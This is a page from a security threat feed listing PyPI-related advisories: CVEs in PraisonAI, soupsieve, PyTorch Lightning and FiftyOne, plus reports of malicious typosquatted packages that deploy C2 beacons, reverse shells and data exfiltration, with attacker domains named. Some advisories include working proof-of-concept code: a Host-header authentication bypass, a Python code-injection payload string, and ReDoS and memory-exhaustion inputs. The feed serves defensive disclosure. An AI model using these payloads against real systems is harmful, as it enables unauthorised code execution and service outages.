Threats tagged 'pypi'
1,403 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.3 | EPSS 0.1% | CVE-2026-53656FiftyOne App server uses wildcard CORS (Access-Control-Allow-Origin: *), enabling cross-origin reads of local server Medium6.3EPSS 0.1%GCVE DatabaseCVE-2026-53656 The FiftyOne App server versions prior to 1.17.0 use a wildcard CORS header (Access-Control-Allow-Origin: *) on local server responses, including an unauthenticated /media endpoint that serves local files by path. This configuration allows any website visited by a user running the local FiftyOne server to read arbitrary files from the user's machine by making cross-origin requests, enabling drive-by data exfiltration without user interaction. The vulnerability is fixed in version 1.17.0, which restricts CORS to same-origin by default and requires explicit opt-in for cross-origin access. | GCVE Database | ||
| High | – | EPSS 0.6% | HighEPSS 0.6%GCVE DatabaseCVE-2026-59884 This update includes the following RPMs: jaeger: * jaeger-2.19.0-1.1.hum1 (aarch64, x86_64) * jaeger-2.19.0-1.1.hum1.src (src) Security Fix(es): jaeger: * CVE-2026-59884 * CVE-2026-59885 | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The qwen-asr-pvt package on PyPI is a malicious package that impersonates the legitimate qwen-asr project by Alibaba. It declares an unpinned dependency on a typosquatted package transformers4576, which replaces the widely used transformers library. This causes pip to install attacker-controlled code during installation or import. The package source is copied from the legitimate project but modified to import the malicious dependency, forming a dependency-confusion attack vector. | GCVE Database | |||
| High | 8.8 | EPSS 0.7% | CVE-2026-54449LangBot · Authenticated RCE Via MCP Configuration High8.8EPSS 0.7%GCVE DatabaseCVE-2026-54449 CVE-2026-54449 is an authenticated remote code execution vulnerability in LangBot versions up to 4.10.5. An authenticated user can modify the MCP Server Configuration to add an "STDIO" MCP with arbitrary commands, which are executed on the server. This allows full system compromise including data exfiltration, reverse shells, and destructive commands. The vulnerability arises from improper neutralization of OS command elements (CWE-77). | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The pylogora package version 0.7.8 on PyPI is identified as malicious. It is a typosquatted package that installs a Mythic/Poseidon command and control (C2) framework beacon, ensuring persistence on the infected system. After installation, the beacon communicates with a remote C2 server at wegoexchange.site to receive further commands. The package also contains code to detect sandbox environments, indicating attempts to evade analysis. This campaign is categorized as malicious with intent similar to infostealers. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The PyPI package 'log-guru' version 0.7.8 is identified as a typosquatted malicious package that installs a Mythic/Poseidon C2 framework beacon. Upon installation, it ensures persistence and communicates with a command and control server at wegoexchange[.]site for further instructions. The package includes mechanisms to detect sandbox environments, indicating an attempt to evade analysis. This campaign is categorized as malicious with clear intent to compromise systems. | GCVE Database | |||
| High | 8.4 | EPSS 0.6% | CVE-2026-58659pytorch-lightning · Unsafe Reflection High8.4EPSS 0.6%CVE Database V5CVE-2026-58659 PyTorch Lightning through 2.6.5, fixed in commit d710d68, contains a remote code execution vulnerability in the _load_state function that imports and executes attacker-controlled module names from checkpoint _instantiator hyperparameters. Attackers can craft malicious checkpoint files that bypass weights_only=True protections to execute arbitrary code when LightningModule.load_from_checkpoint is called. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The PyPI package 'trongridweb' version 0.0.1 is identified as malicious software designed to exfiltrate private keys, likely targeting cryptocurrency assets related to Tron (TRX). The package mimics legitimate libraries by cloning their readme files and has been repeatedly uploaded to PyPI under similar names. There are no known active exploitations in the wild at this time. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The xyq-drama-skill package on PyPI contains malicious code that downloads and executes an opaque binary during installation and runtime. This binary is fetched from an external URL without any verification and runs detached as a hidden executable named .log-helper in the user's home directory. The package's behavior is unrelated to its advertised purpose as a Chinese short-video drama script generator, indicating clear malicious intent. | GCVE Database | |||
| High | 8.2 | Duplicate Advisory: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header High8.2GCVE Database PraisonAI versions up to 4.6.77 contain an authentication bypass vulnerability in the Call API agent invocation endpoints when the PRAISONAI_CALL_AUTH setting is disabled. The vulnerability arises because the localhost-only restriction is enforced by checking the HTTP Host header, which is client-controlled, allowing a remote attacker to spoof this header and bypass authentication to list and invoke agents. | GCVE Database | |||
| High | 7.8 | High7.8GCVE Database PraisonAI versions up to 4.6.77 contain a vulnerability where deployment configuration values are not safely encoded when generating Python source code for API servers. This allows attackers to inject arbitrary Python expressions via specific configuration parameters, leading to code execution when the server starts or processes requests. | GCVE Database | |||
| High | 8.8 | EPSS 0.5% | CVE-2026-61435MervinPraison PraisonAI · Improper Authentication High8.8EPSS 0.5%CVE Database V5CVE-2026-61435 # Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo | CVE Database V5 | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-61433MervinPraison PraisonAI · Code Injection High8.5EPSS 0.2%CVE Database V5CVE-2026-61433 # API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "dem | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The PyPI package northstart-sdk versions 0.1.0, 0.2.0, 0.2.1, and 0.2.2 contains malicious code that executes attacker-controlled payloads upon import. The package uses encrypted and obfuscated code to fetch key material from a remote source, decrypt embedded payloads, and execute them dynamically. This results in a remote-controlled agent establishing an encrypted reverse shell connection, enabling arbitrary command execution on the victim's machine. The package is part of a targeted attack campaign with clear malicious intent. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The PyPI package 'data-proxy-for-test' version 0.1.1 is a malicious package impersonating the legitimate 'mcp-proxy' project. It installs a .pth file that causes Python to automatically execute code on every interpreter startup. This code downloads unverified files from an attacker-controlled third-party Aliyun OSS bucket into the user's cache directory, potentially staging malicious content for execution. This behavior occurs silently and is not disclosed in the package README or upstream project. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (94137fcf0aee7d8edb4e15a8bc9be4455fbdf79cb5bf99987b79f0393fdff62c) The package name typosquats the legitimate 'ethereum-input-decoder'. Its top-level __init__.py unconditionally invokes a payload routine on import: it detects OS/arch, downloads a platform-specific binary from easyswapnow.pro (Linux/macOS builds at /downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin) or a Google Drive file for Windows, writes it to disk, sets the executable bit, and runs it via subprocess.run. The same import path also installs login persistence, writing ~/.config/systemd/user/python-script.service on Linux (enabled via systemctl --user enable --now) and ~/Library/LaunchAgents/com.user.script.plist on macOS (loaded via launchctl load -w), causing the dropper to re-run at every user login. setup.py ships placeholder author metadata ('Your Name', 'your.email@example.com') and a 'Hello World on import' description, contradicting the README which advertises an eth_defi demo; none of this matches the actual dropper. The destination domain easyswapnow.pro is unrelated to the advertised Ethereum-decoding purpose. ## Source: kam193 (00437c563c5b7c2555d512f0066e6bdb5dc61300fd00027d1b5f0fc92a06d204) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - typosquatting - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - malware - persistence | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The PyPI package 'proxy-checker-j' version 0.1.0 contains a malicious payload disguised as a proxy checker tool. Instead of its advertised functionality, it installs a Go SSH daemon ('qsshd') that opens a persistent reverse SSH tunnel to a relay controlled by the attacker. This backdoor allows full interactive shell access, arbitrary command execution, and port forwarding to any party possessing a hardcoded private key. The daemon establishes persistence by creating device identity files on the host, enabling remote access across system restarts and through NAT/firewalls. | GCVE Database | |||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49477 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49476 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The cosmos-gradio package on PyPI, versions 9999.0.0 and 9999.0.1, is a malicious dependency-confusion squat designed to exfiltrate system information. During installation and import, it collects the installer's hostname, OS username, and current working directory, sending this data to a hardcoded external domain via DNS and HTTP channels. The package uses an inflated version number to win version resolution over legitimate internal packages and forces execution of malicious setup.py code by being sdist-only. It has no legitimate functionality beyond data exfiltration. | GCVE Database |
Page 39 of 72